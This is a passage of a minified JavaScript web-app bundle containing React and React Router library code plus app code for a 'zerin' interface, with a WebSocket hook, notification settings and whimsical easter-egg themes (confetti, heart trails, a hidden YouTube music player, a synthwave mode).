e=s!==null?s.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,Be(Fa,on),on|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=s!==null?s.baseLanes:n,Be(Fa,on),on|=r}else s!==null?(r=s.baseLanes|n,t.memoizedState=null):r=n,Be(Fa,on),on|=r;return Bt(e,t,i,n),t.child}function V5(e,t){var n=t.ref;(e===null&&n!==null||e!==null&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function hp(e,t,n,r,i){var s=Jt(n)?ra:$t.current;return s=ts(t,s),qa(t,i),n=ox(e,t,n,r,s,i),r=lx(),e!==null&&!Yt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Tr(e,t,i)):(Ke&&r&&qh(t),t.flags|=1,Bt(e,t,n,i),t.child)}function Cg(e,t,n,r,i){if(Jt(n)){var s=!0;Rc(t)}else s=!1;if(qa(t,i),t.stateNode===null)vc(e,t),$5(t,n,r),mp(t,n,r,i),r=!0;else if(e===null){var o=t.stateNode,l=t.memoizedProps;o.props=l;var c=o.context,u=n.contextType;typeof u=="object"&&u!==null?u=_n(u):(u=Jt(n)?ra:$t.current,u=ts(t,u));var d=n.getDerivedStateFromProps,f=typeof d=="function"||typeof o.getSnapshotBeforeUpdate=="function";f||typeof o.UNSAFE_componentWillReceiveProps!="function"&&typeof o.componentWillReceiveProps!="function"||(l!==r||c!==u)&&wg(t,o,r,u),ni=!1;var p=t.memoizedState;o.state=p,Uc(t,r,o,i),c=t.memoizedState,l!==r||p!==c||Qt.current||ni?(typeof d=="function"&&(fp(t,n,d,r),c=t.memoizedState),(l=ni||bg(t,n,l,r,p,c,u))?(f||typeof o.UNSAFE_componentWillMount!="function"&&typeof o.componentWillMount!="function"||(typeof o.
|
|||
|
|
* @remix-run/router v1.23.2
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Remix Software Inc.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE.md file in the root directory of this source tree.
|
|||
|
|
*
|
|||
|
|
* @license MIT
|
|||
|
|
*/function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Oo.apply(this,arguments)}var ci;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(ci||(ci={}));const Fg="popstate";function BP(e){e===void 0&&(e={});function t(r,i){let{pathname:s,search:o,hash:l}=r.location;return Pp("",{pathname:s,search:o,hash:l},i.state&&i.state.usr||null,i.state&&i.state.key||"default")}function n(r,i){return typeof i=="string"?i:Qc(i)}return WP(t,n,null,e)}function Xe(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function kx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function FP(){return Math.random().toString(36).substr(2,8)}function Wg(e,t){return{usr:e.state,key:e.key,idx:t}}function Pp(e,t,n,r){return n===void 0&&(n=null),Oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?gs(t):t,{state:n,key:t&&t.key||r||FP()})}function Qc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function gs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function WP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Pp(g.location,y,v);u=d()+1;let w=Wg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Pp(g.location,y,v);u=d();let w=Wg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Qc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Fg,f),c=y,()=>{i.removeEventListener(Fg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Ug;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Ug||(Ug={}));function UP(e,t,n){return n===void 0&&(n="/"),VP(e,t,n)}function VP(e,t,n,r){let i=typeof t=="string"?gs(t):t,s=os(i.pathname||"/",n);if(s==null)return null;let o=pj(e);HP(o);let l=null;for(let c=0;l==null&&c<o.length;++c){let u=nE(s);l=eE(o[c],u)}return l}function pj(e,t,n,r){t===void 0&&(t=[]),n===void 0&&(n=[]),r===void 0&&(r="");let i=(s,o,l)=>{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),pj(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:QP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of hj(s.path))i(s,o,c)}),t}function hj(e){let t=e.split("/");if(t.length=
|
|||
|
|
* React Router v6.30.3
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Remix Software Inc.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE.md file in the root directory of this source tree.
|
|||
|
|
*
|
|||
|
|
* @license MIT
|
|||
|
|
*/function To(){return To=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},To.apply(this,arguments)}const ud=m.createContext(null),vj=m.createContext(null),Vr=m.createContext(null),dd=m.createContext(null),hr=m.createContext({outlet:null,matches:[],isDataRoute:!1}),gj=m.createContext(null);function fE(e,t){let{relative:n}=t===void 0?{}:t;ys()||Xe(!1);let{basename:r,navigator:i}=m.useContext(Vr),{hash:s,pathname:o,search:l}=fd(e,{relative:n}),c=o;return r!=="/"&&(c=o==="/"?r:yi([r,o])),i.createHref({pathname:c,search:l,hash:s})}function ys(){return m.useContext(dd)!=null}function ga(){return ys()||Xe(!1),m.useContext(dd).location}function yj(e){m.useContext(Vr).static||m.useLayoutEffect(e)}function xr(){let{isDataRoute:e}=m.useContext(hr);return e?CE():mE()}function mE(){ys()||Xe(!1);let e=m.useContext(ud),{basename:t,future:n,navigator:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,n.v7_relativeSplatPath)),l=m.useRef(!1);return yj(()=>{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=Sx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const pE=m.createContext(null);function hE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(pE.Provider,{value:e},t)}function il(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function fd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,r.v7_relativeSplatPath));return m.useMemo(()=>Sx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function xE(e,t){return vE(e,t)}function vE(e,t,n,r){ys()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?gs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=UP(e,{pathname:h}),g=jE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(dd.Provider,{value:{location:To({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function gE(){let e=SE(),t=uE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const yE=m.createElement(gE,null);class bE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(gj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function wE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(ud);return i&&i
|
|||
|
|
* React Router DOM v6.30.3
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Remix Software Inc.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE.md file in the root directory of this source tree.
|
|||
|
|
*
|
|||
|
|
* @license MIT
|
|||
|
|
*/function Jc(){return Jc=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Jc.apply(this,arguments)}function Nj(e,t){if(e==null)return{};var n={},r=Object.keys(e),i,s;for(s=0;s<r.length;s++)i=r[s],!(t.indexOf(i)>=0)&&(n[i]=e[i]);return n}function TE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function ME(e,t){return e.button===0&&(!t||t==="_self")&&!TE(e)}function Ap(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function LE(e,t){let n=Ap(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const IE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],DE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],RE="6";try{window.__reactRouterVersion=RE}catch{}const $E=m.createContext({isTransitioning:!1}),BE="startTransition",Gg=dw[BE];function FE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=BP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Gg?Gg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>EE(r),[r]),m.createElement(AE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const WE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",UE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=Nj(t,IE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&UE.test(u)&&(x=u,WE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=os(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=fE(u,{relative:i}),v=KE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Jc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),VE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Nj(t,DE),p=fd(c,{relative:f.relative}),h=ga(),x=m.useContext(vj),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&GE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=os(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},O=k?r:void 0,A;typeof s=="function"?A=s(S):A=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(S):l;return m.createElement(xt,Jc({},f,{"aria-current":O,className:A,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Op;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Op||(Op={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function HE(e){let t=m.useContext(ud);return t||Xe(!1),t}function KE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=fd(e,{relative:o});return m.useCallback(f=>{if(ME(f,n)){f.preventDefault();let p=r
|
|||
|
|
bg-zerin-accent hover:bg-zerin-accent-hover\r
|
|||
|
|
px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function S6(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws`,v=new WebSocket(y);c.current=v,v.onopen=()=>{v.send(JSON.stringify({type:"auth",token:x})),s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current<r){const b=u.current;u.current+=1;const w=Math.min(n*Math.pow(2,b),3e4);d.current=setTimeout(()=>{p()},w)}else al(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const nm="zerin_notifications_enabled";function C6(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(nm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(nm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(nm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const rm="zerin-uwu-mode",qg=20,P6=3e3;function E6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function _6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function A6(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function O6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;
|
|||
|
|
left:${Math.random()*100}vw;
|
|||
|
|
top:${Math.random()*100}vh;
|
|||
|
|
width:${i}px;
|
|||
|
|
height:${i}px;
|
|||
|
|
background:${t[n%t.length]};
|
|||
|
|
animation-delay:${Math.random()*.6}s;
|
|||
|
|
`,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Xg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Zg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function T6(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r<n;r++){const i=document.createElement("span"),s=Math.random()>.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Xg[Math.floor(Math.random()*Xg.length)];i.textContent=f,i.style.cssText=`
|
|||
|
|
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
|
|||
|
|
font-size:${10+Math.random()*14}px;
|
|||
|
|
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
|
|||
|
|
animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
|
|||
|
|
animation-delay:${Math.random()*.08}s;
|
|||
|
|
`}else{const f=Zg[Math.floor(Math.random()*Zg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=`
|
|||
|
|
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
|
|||
|
|
width:${p}px;height:${h}px;background:${f};
|
|||
|
|
border-radius:${Math.random()>.5?"50%":"1px"};
|
|||
|
|
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
|
|||
|
|
animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
|
|||
|
|
animation-delay:${Math.random()*.06}s;
|
|||
|
|
`}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Qg=["❤️","💖","💗","💕","♥️","🌸"];let Jg=0;function M6(e,t){const n=Date.now();if(n-Jg<60)return;Jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Qg[Math.floor(Math.random()*Qg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function ey(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ty(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ny=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function L6(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ny[Math.floor(Math.random()*ny.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function I6(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(rm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),ey()):(s.remove("femboy-theme"),ty()),()=>{s.remove("femboy-theme"),ty()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{T6(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{M6(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{L6(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},P6),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(rm)}catch{}_6()}return}if(n.current>=15&&A6(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(rm,"true")}catch{}E6(),O6(),ey()}},[e]);return{isActive:e,handleStatusClick:i}}const ry=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function D6(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function R6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t)
|
|||
|
|
position:absolute;left:0;right:0;height:2px;
|
|||
|
|
top:${n*13}%;
|
|||
|
|
background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent);
|
|||
|
|
box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"};
|
|||
|
|
opacity:0;
|
|||
|
|
animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards;
|
|||
|
|
`,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=`
|
|||
|
|
position:absolute;left:${s}%;top:${o}%;
|
|||
|
|
width:${i}px;height:${i}px;
|
|||
|
|
background:${u};border-radius:50%;
|
|||
|
|
box-shadow:0 0 8px ${u}, 0 0 16px ${u}40;
|
|||
|
|
--synth-dx:${l}px;--synth-dy:${c}px;
|
|||
|
|
animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards;
|
|||
|
|
`,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let iy=0,im=0;function B6(e,t){const n=Date.now();if(n-iy<40)return;iy=n,im=(im+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=im<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function F6(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=`
|
|||
|
|
left:${s}vw;width:${i}px;height:${i}px;
|
|||
|
|
clip-path:${o};
|
|||
|
|
border:1.5px solid ${r};
|
|||
|
|
box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30;
|
|||
|
|
background:${r}08;
|
|||
|
|
`,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function W6(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ry.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ry.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?R6():(D6(),$6()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>B6(s.clientX,s.clientY);return 